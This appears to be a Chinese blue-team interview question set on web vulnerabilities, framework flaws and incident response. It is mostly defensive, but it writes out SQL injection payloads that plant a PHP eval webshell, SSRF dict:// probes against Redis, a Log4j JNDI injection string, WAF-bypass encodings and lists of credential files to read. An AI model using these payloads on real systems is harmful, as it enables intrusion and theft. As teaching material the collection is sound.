HW蓝队面试题(初、中级)

原文地址:HW蓝队面试题(初、中级) (qq.com)

#最近朋友也在收HW简历发现很多师傅才接触以下是我以前收集再总结的蓝队hw面试题,公众号回复“面试题”,获取更多面经

常见漏洞面试问题

SQL注入_waf绕过_检测_加固_写入:

成因:

为对用户的输入进行检验过滤,未进行预编译,或者处理的不完整,处理程序不完善

防御:

使用预编译;

黑名单:对特殊的字符例如括号斜杠进行转义过滤删除;

白名单:对用户的输入进行正则表达式匹配限制

规范编码以及字符集,否者攻击者可以通过编码绕过检查

参数化查询:原理是将用户输入的查询参数作为参数传,而不直接将它们拼接到SQL语而言,将SQL语句和参数分离开来,并通过占位符(一般使用问号“?”)将它们关联起来,这样用户的输入只会被当作参数`

分类:

请求头的注入:

user-agent;referer;cookie;Host;Location;Accept-Language

联合查询注入:

union

通过union拼接查询语句获取大量的信息

利用:模糊查询猜测列名、表名---->union查询构造select语句进行查询返回大量数据

报错注入:

利用系统返回的错误信息来获取有用的信息

需要用到的函数:

updataxml、floor向下取整、group by分组排列、count统计数量、concat连接字符串

extractvalue

原理:第一个参数为字符串 第二个参数为xpath路径

原理:updatexml()一共有三个参数,第一个是xml内容、第二个参数是update的位置XPATH路径、第三个参数是更新后的内容;这里报错的主要原理是利用第二个参数,判断校验输入的内容是否符合XPATH格式的,不符合就报错,我们将第二个参数替换为version()或者database()等等,因为不满足XPATH格式所以会输出错误,输出错误的时候将sql代码(verson()/database()等)执行了。

布尔盲注

堆叠注入

时间盲注

sleep

宽字节注入:

PHP utf-8编码 数据库GBK编码

PHP防御函数:magic_quotes_gpc()

成因:PHP发送请求到mysql时经过一次gbk编码,PHP会将获取到的数据进行魔术引号的处理PHP发送请求到mysql时经过一次gbk编码,PHP会将获取到的数据进行魔术引号的处理,因为GBK是双字节编码,所以我们提交的%df这个字符和转译的反斜杠组成了新的汉字,然后数据库处理的时候是根据GBK去处理的,然后单引号就逃逸了出

原理:在数据库中使用宽字符集,在web中没有考虑这个问题。由于0XDF27在web中是两个字符,在php中会对0x27进行转义,把0XDF27变成0XDF5c27

设备报警,SQL注入的报警,能看到攻击时间,攻击ip,payload,如何判断是误报还是真是攻击,如果是真实攻击,怎么判断他攻击是否成功,如如何成功怎么处理?

先看ip,如果ip是公司内部的再看内部人员有没有相关操作,如果不是ip白名单的例如公司人员业务的操作那就是攻击,然后分析payload,分析它写的payload安全设备能否它进行过滤拦截,如果它确实能绕过,那就应该攻击成功了,成功的话赶紧上报,做应急响应,做出相应处理,添加过滤规则,修改数据库中能修改的数据比如管理员账号密码

sql注入如何检测?

  1. 数据库异常日志:在数据库服务器上查看异常日志或错误日志,如果发现异常 SQL 语句,或者 SQL 语句中包含可疑代码或关键字,就可能存在 SQL 注入攻击。
  2. 应用服务器日志:在应用服务器上查看访问日志或错误日志,如果发现访问异常、错误码增多,或者包含可疑的 URL 参数等信息,也可能表明存在 SQL 注入攻击。
  3. 漏洞扫描工具:使用专业的漏洞扫描工具,可以自动化地检测应用程序中可能存在的 SQL 注入漏洞,并提供修补建议。
  4. 安全审计:通过记录用户行为和操作日志,可以检测和追踪可能存在的 SQL 注入攻击。
  5. 手动测试:模拟攻击者的行为,手动输入特定的 SQL 语句或注入代码,来验证是否存在 SQL 注入漏洞。

写入webshell:


?id=1' union select 1,"<?php @eval($_POST['shell']);?>",3 into outfile 'C:\\phpstudy\\WWW\\sqli\\shell.php'#


?id=1' union select 1,"<?php @eval($_POST['shell']);?>",3 into dumpfile 'C:\\phpstudy\\WWW\\sqli\\shell.php'#

into outfile 'C:/wamp64/www/shell.php' lines terminated/starting by '<?php phpinfo()?>';

sqlmap中risk和level区别

risk风险等级 越大则测试的语句越多 强调数量

level探测的深度 越大则测试的范围越广 例如cookie host 等等都会测试 强调范围

--os -shell

sqlmap(已知绝对路径的情况下)上传一个sql木马里面有能够远程执行命令的函数

sqlmap可以启用xp-cmdshell,即使被删除也能够自动创建

sql注入遇到waf怎么绕过以及过滤空格

以下是几种常见的方法:

  1. 使用编码:攻击者可以对注入负载进行编码,例如使用十六进制或Unicode编码等方式,以绕过WAF对字符集的检查。攻击者还可以使用字符串分割、大小写转换等技术手段,以使WAF无法识别恶意代码。
  2. 使用注入器:SQL注入攻击工具如Sqlmap、Havij、SQLi-hunter等,可以自动检测和利用各种SQL注入漏洞,并通过绕过WAF来获取敏感数据。
  3. 盲注:在盲注攻击中,攻击者不直接获取查询结果,而是根据应用程序的响应来判断是否存在漏洞。攻击者可以使用时间延迟或错误信息来判断是否存在漏洞,并以此来推断数据库中的数据。
  4. 变形注入:变形注入攻击是一种多次执行的注入攻击,使用变体的注入负载,使注入负载不同于以前的攻击负载,从而逃避WAF的检测。

sql注入遇到过滤空格

内联注释绕过(如“/**/”或“#”等)

编码绕过

    • %09:制表
    • %0a:换行
    • %0c:分页
    • %20:空格
    • %0d:回车

sql注入加固

  1. 输入验证:对用户输入数据进行验证和过滤,特别是对单引号、双引号、分号等特殊字符进行处理。可以使用输入过滤函数或正则表达式等方式来实现。
  2. 参数化查询:使用参数化查询操作数据库,可以将用户输入的数据视为参数而不是 SQL 代码的一部分,从而避免 SQL 注入攻击。
  3. 最小化权限原则:在应用程序连接数据库时,给予最小必要的权限,并严格控制数据库访问权限,以减少攻击者利用 SQL 注入漏洞获取敏感信息的可能性。
  4. 安全编码标准:统一编码 否则会导致宽字节注入
  5. 异常信息处理:前端不返回错误信息,在应用程序中添加异常处理机制,可以及时捕获和记录 SQL 注入攻击产生的异常信息,便于管理员及时发现和修复问题。
  6. 安全审计:通过记录用户行为和操作日志,可以检测和追踪可能存在的 SQL 注入攻击。

CSRF 漏洞如何防护

验证请求来源:在服务器端对请求进行校验,只接受来自信任的源的请求,如 Referer 校验、CSRF Token 校验等;

设置 SameSite: 可以限制 Cookie 的跨站传递,一般设置为 Strict 或 Lax;

双因子验证:关键性操作引入双因子验证,再次确认用户身份,如:修改密码、转账时短信验证码、再次输入用户密码、人脸识别等;

防止 XSS:很多场景下,XSS 往往是和 CSRF 会形成组合攻击,防止 XSS 可以有效降低用户 Cookie 泄露的风险,从而增大 CSRF 的利用难度。

为什么 CSRFToken 可以防御 CSRF

CSRFToken 是服务器为用户随机生成一个唯一的 token ,用户发起请求时,服务端先将 CSRFToken 作为请求头返回给客户端,客户端携带 CSRFToken 再发送请求,服务端验证 CSRFToken 是否与存储的相同,不同则拒绝请求。

因为 CSRF 攻击是伪造了被攻击网站的 cookie 认证机制,而 CSRFToken 是在请求中加入的一个由服务器生成的随机 token,攻击者即使伪造了 cookie 也无法伪造这个 token,从而无法成功发起 CSRF 攻击

文件上传原理过程特征加固日志

  1. 用户在 Web 页面上选择要上传的文件,并提交表单。
  2. 浏览器将表单中的数据进行编码并作为 POST 请求发送给 Web 服务器。
  3. Web 服务器接收到请求后,会解析请求参数,获取上传的文件数据。
  4. 服务器对上传的文件进行校验和过滤,例如检查文件格式、大小、类型等,防止上传恶意文件。
  5. 如果上传的文件符合要求,则将文件存储在指定的位置,如果不符合要求,则拒绝上传并返回错误信息。
  6. 服务器返回上传结果给客户端,告知用户文件是否上传成功。

文件上传特征

  1. 文件类型绕过:攻击者可能会尝试上传不受支持的文件类型,或者将文件类型伪装成其他类型,以绕过文件类型检查。
  2. 文件名欺骗:攻击者可能会使用诱人的文件名称来欺骗用户下载或打开恶意文件。
  3. 文件内容:上传的文件可能包含恶意代码、木马、病毒等恶意程序,这些程序可被用于攻击和控制目标系统。
  4. 大小限制绕过:攻击者可能会尝试绕过文件大小的限制,上传超过规定大小的文件。
  5. 目录遍历:攻击者可能会通过在文件名中插入../等字符来遍历目标服务器上的目录,获取敏感信息或执行攻击。
  6. 是post请求 过滤查看数据包中有无相关的payload

响应码 200 falid 失败 success 成功

文件上传加固

  1. 文件类型和大小限制:在服务器端对上传的文件进行检查,确保上传的文件类型、大小和数量符合预期。可以使用白名单方式进行限制,只允许上传特定类型的文件。
  2. 检查文件内容:在服务器端对上传的文件进行检查,确保它们不包含恶意代码或病毒等危险内容。可以使用杀毒软件或安全扫描工具来帮助检查上传的文件。
  3. 重命名文件:将上传的文件保存在一个新的随机生成的文件名下,而不是使用用户提供的文件名。这样可以避免攻击者通过伪造文件名来欺骗用户。
  4. 存储位置:将上传的文件保存在与网站主目录分离的位置上,以避免攻击者上传Webshell等恶意脚本,并能够防止攻击者直接访问上传的文件。
  5. 使用安全上传类库:使用安全的上传类库或框架,如Apache Commons FileUpload、SecureFileUploader等。
  6. HTTPS加密:在传输过程中使用HTTPS协议加密,以避免数据在传输过程中被窃听或篡改。
  7. 日志审计:记录所有的文件上传操作并定期审计日志,以便发现异常上传行为,及时采取措施。

文件上传相关日志

  1. 文件上传日志:Web 服务器或应用服务器上的访问日志中可能包含上传文件的信息,例如上传时间、上传文件名称、上传文件大小等。
  2. 访问控制日志:如果应用程序实现了文件上传的访问控制机制,记录访问控制的日志可能包含了上传文件的信息,例如上传人员、上传时间、上传 IP 地址等。
  3. 安全审计日志:如果使用了安全审计工具,可以记录文件上传操作的详细信息,例如上传文件的路径、上传文件的内容等。

命令执行相关日志

  1. 访问日志:Web 服务器或应用服务器上的访问日志中可能包含恶意代码执行的信息,例如请求 URL、HTTP 请求方法、HTTP 状态码等。
  2. 异常日志:应用程序中的异常日志可以记录可能存在的恶意代码执行异常信息,例如异常类型、异常堆栈等。
  3. 安全审计日志:如果使用了安全审计工具,可以记录恶意代码执行的详细信息,例如恶意代码的来源、执行时间、执行结果等。

SSRF 原理协议防御

服务端提供了能够从其他服务器应用获取数据的功能,我们服务端请求的目标都是与该请求服务器处于同一内网的资源服务,但是如果没有对这个请求的目标地址、文件等做充足的过滤和限制,攻击者可通过篡改这个请求的目标地址来进行伪造请求,进行未授权访问。

常用协议

file 用于读取文件

dict 用于探测一些端口 以及数据库信息

ssrf.php?url=dict://x.x.x.x:$端口$

ssrf.php?url=dict://x.x.x.x:6379/info 判断是否redis设置了密码

ssrf.php?url=dict://x.x.x.x:6379/auth:$密码$用于爆破

LDAP 目录扫描

TFTP 它允许客户端从远程主机获取文件或将文件上传至远程主机 上传shell

sftp

gopher

危害:

扫描资产

获取敏感信息

攻击内网服务器

访问大文件 造成溢出

通过redis 写入webshell

出现场景:

社会化分享

转码

在线翻译

远处的非本地图片加载下载

图片或者文章的收藏

网站采集抓取

防御

  1. 对所有输入进行严格的验证和过滤:开发人员在编写Web应用程序时应对所有输入数据进行严格的验证和过滤,以确保不会将任何恶意代码或非法请求发送到受害者服务器。
  2. 使用白名单:开发人员可以使用白名单技术限制应用程序仅向可信的服务器发送请求,例如内部服务器或特定的Web API。
  3. 限制服务器端请求发出范围: 在服务器上的Web应用程序必须限制服务器端请求的发出范围,例如通过禁止或限制特定的协议、域名或IP地址,以避免攻击者可以利用SSRF漏洞来发送恶意请求。
  4. 防火墙保护:使用防火墙的隔离技术可帮助防止恶意代码和非法请求进入Web应用程序,并限制其对其他系统的访问。

任意文件读取会读什么文件 防御

  1. Linux
  • /etc/passwd:包含本地用户的账户信息。
  • /etc/group:包含用户组的信息。
  • /etc/shadow:保存本地用户密码哈希值的文件。
  • /etc/sudoers:保存 sudo 命令权限的文件。
  • /proc/net/tcp:包含当前正在运行的 TCP 连接信息。
  • /var/log/auth.log:包含系统中用户认证和授权的日志信息。
  • 应用程序配置文件:攻击者可能会尝试读取应用程序的配置文件,以获取数据库连接字符串等信息。
  1. Windows
  • C:\Windows\system32\config\SAM:包含本地账户的哈希密码值。
  • C:\Windows\system32\config\SYSTEM:包含系统的配置信息。
  • C:\inetpub\wwwroot\web.config:包含 IIS 网站的配置信息。
  • C:\Program Files (x86)\MySQL\MySQL Server 5.7\my.ini:包含 MySQL 数据库的配置信息。
  • C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys:包含机器级别的 RSA 密钥。
  • Event log 文件:攻击者可能会尝试读取操作系统事件日志文件,以查看系统的历史记录信息。
  • 应用程序配置文件:攻击者可能会尝试读取应用程序的配置文件,以获取数据库连接字符串等信息。

任意文件读取的防御

  1. 限制访问权限:在操作系统、应用程序和网站中,应该合理设置安全访问策略,并对敏感信息和文件进行严格的权限控制。
  2. 加密重要文件:对重要文件进行加密处理,防止黑客获取有效信息。
  3. 安装入侵检测系统(IDS):使用 IDS 系统来监测系统内部和外部的攻击行为。
  4. 监控日志:对系统中产生的日志进行定期审计和监控,及时发现异常情况并采取相应的措施。
  5. 及时修补漏洞:定期检查和更新系统、应用程序和第三方库的版本,以修复已知的漏洞。

跨域与jsonp cros

跨域:是指一个web程序在访问另一些协议域名端口号不同的web应用程序时所发生的浏览器安全限制

jsonp:一种跨域请求数据的方式 通过在html页面上使用script标签加载远程的json数据并且对获取的数据进行处理 该方法可以绕过同源策略

cors:是在服务端设置允许跨域请求的机制 通过http头信息中添加一些字段来告诉服务器允许哪些域名的请求 相对跟家灵活和安全

xss 原理防御

它利用了应用程序没有正确过滤或转义用户输入的数据,导致恶意用户可以向网站上注入恶意脚本代码,使其他用户在浏览网站时受到攻击。

防御

  1. 输入过滤和验证:对于用户输入的数据进行严格的过滤和验证,只允许输入必要的字符和格式,并拒绝不受支持的HTML、CSS或JavaScript代码。
  2. 输出编码和转义:在将任何用户输入输出到Web页面上之前,请确保对其进行编码和转义,以确保它们不会被解释为恶意脚本。例如,在输出HTML时,可以使用HTML实体编码将特殊字符(如<、>、&)转换为等效的字符实体。这样可以避免浏览器将它们解释为HTML标签或JavaScript代码。
  3. 使用安全框架和库:许多Web应用程序框架和安全库提供了内置的XSS防御机制,例如跨站点请求伪造(CSRF)令牌和自动输出编码。使用这些框架和库可以大大减少XSS攻击的风险。
  4. 学习安全编程实践:开发人员应该学习并遵循安全编程实践,例如安全的HTTP头设置、HTTPS使用、安全的Cookie管理等。
  5. 定期漏洞扫描和修复:定期运行漏洞扫描工具来检测网站中的潜在XSS漏洞,并及时修复这些漏洞,以避免遭受攻击。
  6. 加强用户教育:通过向用户提供安全意识培训和提示,可以帮助他们了解如何保护自己不受XSS攻击的危害,例如不点击垃圾邮件中的链接,不下载未经验证的文件等。

常见框架漏洞

java反序列化

Java反序列化漏洞是指恶意用户通过发送精心构造的序列化数据并触发其反序列化过程,从而执行未经授权的代码或操作。攻击者可以利用此漏洞来执行远程命令、绕过应用程序的安全检查、窃取敏感信息等攻击。

如果Java应用对用户输入(即不可信数据)做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的类或对象,这个类或对象在产生过程中就有可能带来任意代码执行。

防御

  1. 处理未信任的数据:开发人员应该避免反序列化未受信任的数据,例如来自不可靠来源的网络请求或从未知来源的文件读取的数据。
  2. 使用安全的序列化库:一些第三方序列化库,如Jackson和Gson等,提供了更加安全的序列化和反序列化功能。开发人员可以使用这些库来避免Java反序列化漏洞。
  3. 实现自定义反序列化方法:对于那些包含重要数据且需要进行反序列化的Java对象,可以实现自定义反序列化方法以控制反序列化过程。
  4. 消除未使用的反序列化代码:如果没有必要进行反序列化操作,开发人员可以将其删除或注释掉,以减少潜在的攻击面。
  5. 定期更新和维护应用程序:及时更新和修复应用程序中的漏洞和错误,并使用相关的安全工具来检测和防止Java反序列化漏洞

redis未授权条件与修复

Redis 未授权访问是指某些 Redis 实例的访问控制没有得到正确配置,导致攻击者可以通过不需要认证的方式直接连接该实例并进行操作。

  1. 确认是否存在未授权访问:通过检查日志和网络流量等信息,确认是否存在未授权访问的情况。
  2. 修改 Redis 配置文件:在 redis.config 配置文件中,找到 bind 参数并将其设置为 Redis 监听的 IP 地址。此外,还需要设置 requirepass 参数,并设置一个强密码来保护 Redis 数据库。
  3. 重新启动 Redis 服务:在修改完 Redis 配置文件后,需要重新启动 Redis 服务,以便使新的配置生效。
  4. 禁用 Redis 远程访问:如果您的 Redis 服务只在本地使用,则应禁用 Redis 的远程访问,以降低攻击面和提高安全性。
  5. 定期更新 Redis 和操作系统补丁:及时更新 Redis 和操作系统的安全补丁,以修复已知漏洞和提高系统安全性。

log4j远程代码执行漏洞

原理:

Log4j 是Apache 的一个开源项目,是一款基于Java 的开源日志记录工具。该漏洞主要是由于日志在打印时当遇到`${`后,以:号作为分割,将表达式内容分割成两部分,前面一部分prefix,后面部分作为key,然后通过prefix去找对应的lookup,通过对应的lookup实例调用lookup方法,最后将key作为参数带入执行,引发远程代码执行漏洞。

具体操作:

在正常的log处理过程中对**${**这两个紧邻的字符做了检测,一旦匹配到类似于表达式结构的字符串就会触发替换机制,将表达式的内容替换为表达式解析后的内容,而不是表达式本身,从而导致攻击者构造符合要求的表达式供系统执行

以RMI为例,简单阐述下该漏洞的攻击原理:

1、攻击者首先发布一个RMI服务,此服务将绑定一个引用类型的RMI对象。在引用对象中指定一个远程的含有恶意代码的类。

2、攻击者再发布另一个恶意代码下载服务,此服务可以下载所有含有恶意代码的类。

3、攻击者利用Log4j2的漏洞注入RMI调用,例如: log.info(“登录成功”, “${jndi:rmi://rmi-service:1188/hackedclass}”);

4、调用RMI后将获取到引用类型的RMI远程对象,该对象将就加载恶意代码并执行。

Fastjson反序列化漏洞

判断:

正常请求是get请求并且没有请求体,可以通过构造错误的POST请求,即可查看在返回包中是否有fastjson这个字符串来判断。

原理:

fastjson是阿里巴巴开发的一款将json字符串和java对象进行序列化和反序列化的开源json解析库。fastjson提供了autotype功能,在请求过程中,我们可以在请求包中通过修改@type的值,来反序列化为指定的类型,而fastjson在反序列化过程中会设置和获取类中的属性,如果类中存在恶意方法,就会导致代码执行等这类问题。

无回显怎么办:

1.一种是直接将命令执行结果写入到静态资源文件里,如html、js等,然后通过http访问就可以直接看到结果

2.通过dnslog进行数据外带,但如果无法执行dns请求就无法验证了

3.直接将命令执行结果回显到请求Poc的HTTP响应中

Shiro反序列化漏洞

原理:

Shiro是Apache下的一个开源Java安全框架,执行身份认证,授权,密码和会话管理。shiro在用户登录时除了账号密码外还提供了可传递选项remember me。用户在登录时如果勾选了remember me选项,那么在下一次登录时浏览器会携带cookie中的remember me字段发起请求,就不需要重新输入用户名和密码。

判断:

1.数据返回包中包含rememberMe=deleteMe字段。

2.直接发送原数据包,返回的数据中不存在关键字可以通过在发送数据包的cookie中增加字段:****rememberMe=然后查看返回数据包中是否存在关键字。

shiro-550:

shiro反序列化漏洞利用有两个关键点,首先是在shiro<1.2.4时,AES加密的密钥Key被硬编码在代码里,只要能获取到这个key就可以构造恶意数据让shiro识别为正常数据。另外就是shiro在验证rememberMe时使用了readObject方法,readObject用来执行反序列化后需要执行的代码片段,从而造成恶意命令可以被执行。攻击者构造恶意代码,并且序列化,AES加密,base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行编码,解密并且反序列化,最终造成反序列化漏洞。

shiro-721:

Shiro721的ase加密的key基本猜不到,系统随机生成,可使用登录后rememberMe去爆破正确的key值,利用Padding Oracle Attack构造出RememberMe字段后段的值结合合法的Remember。

渗透流程

信息收集:

1、获取域名whois信息

2、服务器子域名、旁站、c段查询

3、服务器操作系统版本补丁状况、web中间件类型、版本、数据库类型等

4、服务器开放端口:22 ssh 80 web 445 3389.。。

漏洞扫描:

nessus,awvs ,appscan

漏洞验证:

是否存在漏洞,是否可以拿到webshell或者其他权限

权限提升:

windows内核溢出提权,数据库提权、组策略首选项提取、web中间件提权、dll劫持提权、第三方软件/服务提权

linux内核漏20洞提权、劫持高权限程序提权、sudoer配置文件错误提权

漏洞利用:

日志清理:

中间件常见漏洞

Web中间件常见漏洞总结 - FreeBuf网络安全行业门户

一部分:

(一) IIS

1、PUT漏洞

2、短文件名猜解

3、远程代码执行

4、解析漏洞

(二) Apache

1、解析漏洞

2、目录遍历

(三) Nginx

1、文件解析

2、目录遍历

3、CRLF注入

4、目录穿越

(四)Tomcat

1、远程代码执行

2、war后门文件部署

(五)jBoss

1、反序列化漏洞

2、war后门文件部署

(六)WebLogic

1、反序列化漏洞

2、SSRF

3、任意文件上传

4、war后门文件部署

(七)其它中间件相关漏洞

1、FastCGI未授权访问、任意命令执行

2、PHPCGI远程代码执行

  1. Web服务器漏洞:针对Web服务器(如Apache、Nginx)的攻击通常包括利用目录遍历、文件包含、SQL注入等技术。
  2. 数据库漏洞:数据库(如MySQL、Oracle、SQL Server)的漏洞通常涉及未授权的访问、SQL注入等方面。
  3. 应用服务器漏洞:应用服务器(如Tomcat、JBoss、WebLogic)的漏洞通常会导致远程执行代码、拒绝服务等问题。
  4. 消息队列漏洞:消息队列(如RabbitMQ、Kafka)的漏洞通常涉及未授权访问、拒绝服务等问题。
  5. 缓存服务器漏洞:缓存服务器(如Redis、Memcached)的漏洞通常包括未授权访问、命令注入等问题。
  6. 中间件配置问题:中间件的错误配置也可能导致安全问题,比如弱密码、不安全的协议配置等。

中间件配置文件路径

  1. Apache Web 服务器:httpd.conf 文件通常位于 /etc/httpd/ 或者 /usr/local/apache2/conf/ 目录下。
  2. Nginx Web 服务器:nginx.conf 文件通常位于 /etc/nginx/ 或者 /usr/local/nginx/conf/ 目录下。
  3. MySQL 数据库:my.cnf 文件通常位于 /etc/mysql/ 或者 /usr/local/mysql/etc/ 目录下。
  4. PostgreSQL 数据库:postgresql.conf 和 pg_hba.conf 文件通常位于 /var/lib/pgsql/data/ 或者 /etc/postgresql//main/ 目录下。
  5. Oracle 数据库:initSID.ora 和 listener.ora 文件通常位于 $ORACLE_HOME/dbs/ 目录下。
  6. Tomcat 应用服务器:server.xml、context.xml 和 web.xml 文件通常位于 /conf/ 目录下。
  7. JBoss 应用服务器:standalone.xml 和 standalone-full.xml 文件通常位于 /standalone/configuration/ 目录下。

应急响应基本思路流程

收集信息:收集客户信息和中毒主机信息,包括样本

判断类型:判断是否是安全事件,何种安全事件,勒索、挖矿、断网、DoS 等等

抑制范围:隔离使受害⾯不继续扩⼤

深入分析:日志分析、进程分析、启动项分析、样本分析方便后期溯源

清理处置:杀掉进程,删除文件,打补丁,删除异常系统服务,清除后门账号防止事件扩大,处理完毕后恢复生产

产出报告:整理并输出完整的安全事件报告

如果一台服务器被入侵后,你会如何做应急响应?

查日志,查服务,查进程,查看是否有可疑登陆,新增账号

蠕虫 445端口发现

感染蠕虫的主机会扫描其他主机的端口

发现端口开放的主机就会尝试进行攻击

一般通过爆破的方式获取主机权限

感染成功之后就会进行勒索挖矿病毒

DDOS攻击应急 预防 特征

  • 快速检测并确认攻击类型和攻击源;
  • 提高带宽和资源利用率,以提供更强的承载能力;
  • 实施流量清洗、流量限制和IP封堵等措施,清除恶意攻击流量;
  • 配合 ISP 进行攻击源 IP 的追踪和协助;
  • 在攻击持续期间,保持实时监控和跟进,随时更新应急响应策略。

预防

  • 增加网络带宽,并提高硬件设备的承载能力,以抵御较小规模的攻击;
  • 实现DDoS和CC攻击的检测和防御机制,如基于流量和行为的检测技术和防御技术;
  • 确保服务器和网站软件及时更新,以弥补已知漏洞;
  • 实施流量清洗、流量限制和IP封堵等措施;
  • 配置合理的防火墙规则和入侵检测系统(IDS)等安全设备;
  • 加强网络安全教育,提高用户密码安全性,并定期对敏感数据进行备份和加密。

特征:

会发送大量的无效数据包 来影响服务器的正常服务 使得cpu 带宽利用率增大

udp流量多发送无效数据 --udp flood攻击

如果ICMP流量较多大量的ping包 --iCMP

有大量三次握手未完成会话 --synflood

反射型特征

大量的NTP协议数据包且请求码未42 则为ntp反射性攻击

如果有大量DNS协议包且查询类型为255 则为DNS放大攻击

中挖矿病毒判断以及处理方式

一般由弱口令或者漏洞来拿到服务器权限进行挖矿

判断:

  • 计算机运行速度变慢,CPU占用率高;
  • 电脑风扇声音变大,温度升高;
  • 安全软件报告未知病毒或恶意软件;
  • 系统出现闪退或死机等异常情况。

处理:

首先ps -aux查看进程分析

然后top 分析算力,挖矿用到的算力比较多,对流量进行过滤,含有矿池服务器的流量就是挖矿病毒

最后kill进程,删掉程序,再扫描整个系统

删不掉这么办

先下线,然后检查挖矿是否有在内网传播及时下线所有被传播的主机、上机排查攻击痕迹、一般可以从cpu占用情况,可以进程、开放端口、计划任务、服务项几个方面排查

将样本上传到在线分析平台,清除挖矿主程序主要就是双向封禁矿池地址、删除计划任务自启动、删服务,结束恶意进程、删病毒

删不掉:确认一下一下是因为程序在使用,还是权限不够,更具具体情况采取措施

直接降权,降权到没有执行权限

网站被挂马如何应急

1.登录服务器,备份,检查服务器敏感目录,查毒(搜索后门文件-注意文件的时间, 用户,后缀等属性),调取日志(系统,中间件日志,WAF日志等);

2.处理,恢复备份(快照回滚最近一次),确定入侵方法(漏洞检测并进行修复)

3.溯源,查入侵IP,入侵手法(网路攻击事件)的确定等

4.记录,归档--------预防-事件检测-抑制-根除-恢复-跟踪-记录通用漏洞的应对等其他 安全应急事件

基线规范

Linux基线规范

  1. 安全加固:禁用不必要的服务、配置防火墙、强化密码策略、添加口令策略:/etc/login.defs修改配置文件,设置过期时间、连续认证失败次数等。
  2. 用户和权限管理:创建普通用户账号、不允许 root 账号直接登录系统(PermitRootLogin=no)、使用 sudo 进行授权等、检查特殊账号,是否存在空密码的账户和 root 权限账户、禁用或删除无用账号。
  3. 服务:SSH服务:修改 SSH 使用的协议版本为 2,修改允许密码错误次数(默认 6 次)(MaxAuthTries=3
  4. 日志管理:启用系统日志、日志文件备份和归档、监控日志信息、记录所有用户的登录和操作日志,通过脚本代码实现记录所有用户的登录操作日志,防止出现安全事件后无据可查等。
  5. 文件系统和目录结构规范:对重要数据进行加密、使用 ext4 文件系统、分区管理等。
  6. 网络安全:检查网络连接状态、限制入站和出站流量、使用 SELinux 或 AppArmor 等。
  7. 软件更新与安全漏洞修复:定期更新操作系统和软件补丁、及时处理已知漏洞等。
  8. 数据备份与恢复:定期备份和恢复系统数据和设置等。

IP 协议安全要求

远程登录取消 telnet 采用 ssh

设置 /etc/hosts.allow 和 deny

禁止 ICMP 重定向

禁止源路由转发

防 ssh 破解,iptables (对已经建立的所有链接都放行,限制每分钟连接 ssh 的次数)+ denyhost (添加 ip 拒绝访问)

Windows 基线规范

  1. 用户和权限管理:创建普通用户账号、限制管理员账号访问、使用 UAC 进行授权等。
  2. 密码策略:设置强密码策略,并启用多因素身份验证。
  3. 网络安全:配置防火墙、禁用不必要的服务、加密敏感数据传输等。
  4. 软件更新与安全漏洞修复:定期更新操作系统和软件补丁、及时处理已知漏洞等。
  5. 日志管理:启用系统日志、监控日志信息、建立日志归档等。
  6. 文件和目录权限:配置文件系统和目录结构规范、限制文件和目录访问权限等。
  7. 数据备份与恢复:定期备份和恢复系统数据和设置等。

为了进行 Windows 安全基线检查,可以使用 Microsoft Security Compliance Toolkit 工具

还可以使用第三方商业化工具,例如 SolarWinds、McAfee 等,来帮助进行 Windows 安全基线检查

入侵排查具体流程

查看windows进程

  1. 任务管理器:可以通过打开任务管理器来查看当前正在运行的进程。在 Windows 10 中,可以使用快捷键 Ctrl + Shift + Esc 来打开任务管理器;在其他版本的 Windows 中,可以使用 Ctrl + Alt + Delete 快捷键,然后选择“任务管理器”来打开。
  2. 命令行工具:可以使用命令行工具(如 cmd 或 PowerShell)来查看进程。在命令行中输入“tasklist”命令,即可列出当前正在运行的所有进程及其相关信息。
  3. 系统资源监视器:系统资源监视器是一个 Windows 内置的性能监控工具,可以查看系统的 CPU 使用率、内存占用率、磁盘和网络活动等信息。同时,它还提供了一个进程列表,可以显示每个进程的 CPU 使用率、内存占用情况等详细信息。
  4. 第三方工具:除了 Windows 自带的工具外,还有许多第三方工具可以用来查看进程,如 Process Explorer、Process Hacker 等。这些工具通常提供更加详细的进程信息,并允许用户对进程进行调试和管理。

1、检查系统账号安全查看服务器是否有弱口令远程管理端口是否公开查看服务器是否有可疑账号

cmd输入lusrmgr.msc命令查看服务器是否存在隐藏账号克隆账号结合日志查看管理员登录时间用户名是否存在异常

2、检查异常端口、进程 检查端口连接情况是否有远程连接、可疑连接:a、netstat -ano 查看目前的网络连接,定位可疑的ESTABLISHEDb、根据netstat 定位出的pid,再通过tasklist命令进行进程定位 tasklist | findstr “PID”

3、检查启动项、计划任务、服务win+r:输入msconfig,查看异常启动项win+r:输入regedit,打开注册表,查看开机启动项

4、检查系统相关信息win+r:输入systeminfo查看系统信息

5、日志分析win+r:输入eventvwr.msc,打开事件查看器导出应用程序日志,安全日志,系统日志,利用log parser分析

具体来说,可以采取以下几种方法进行入侵排查:

  1. 使用防病毒软件:定期使用防病毒软件扫描系统,及时发现并清除潜在的威胁。
  2. 定期更新系统:定期更新系统和安全补丁,以确保系统的安全性。
  3. 监控网络连接:监控网络连接情况,及时发现异常连接和流量,以及非法访问尝试。
  4. 分析日志文件:分析日志文件,了解系统的使用情况和异常行为,及时发现威胁。
  5. 使用安全工具:使用安全工具,如入侵检测系统、网络监控系统等,帮助发现和阻止威胁。

linux入侵排查

收集基础信息:收集系统的版本、配置文件和日志等信息,了解系统的正常运行状态。

分析异常行为:通过比较正常状态与异常状态的差异,分析系统上出现的任何异常行为,例如不寻常的进程、网络流量或文件更改。

确认入侵点:确定攻击者可能入侵的方式,并检查是否存在未修复的漏洞。

隔离受感染的系统:及时隔离受感染的系统,以限制损害并避免进一步传播。

恢复系统:清除恶意代码并修复受损部分,通过备份恢复数据和配置文件,确保系统安全。

收集证据:收集入侵事件的详细信息,包括攻击的时间、入侵的方式、影响范围、损失情况等,以便后续追踪和定位攻击者。

在实际操作中,需要结合专业的工具和技能进行排查,例如使用抓包工具Wireshark分析网络流量、使用进程监控工具ps、top、htop等查看进程运行情况。同时,还需要不断学习更新各种安全相关的技能和知识,以提高排查入侵事件的能力

日志

如何分析数据包及日志

  1. 收集数据包或日志文件:首先需要收集相关的数据包或日志文件,以便后续分析。
  2. 过滤和提取关键信息:对于大量的数据包或日志,需要通过过滤和提取关键信息的方式来缩小分析范围。例如,可以使用Wireshark的过滤器或grep命令来筛选出特定协议、IP地址等关键信息。
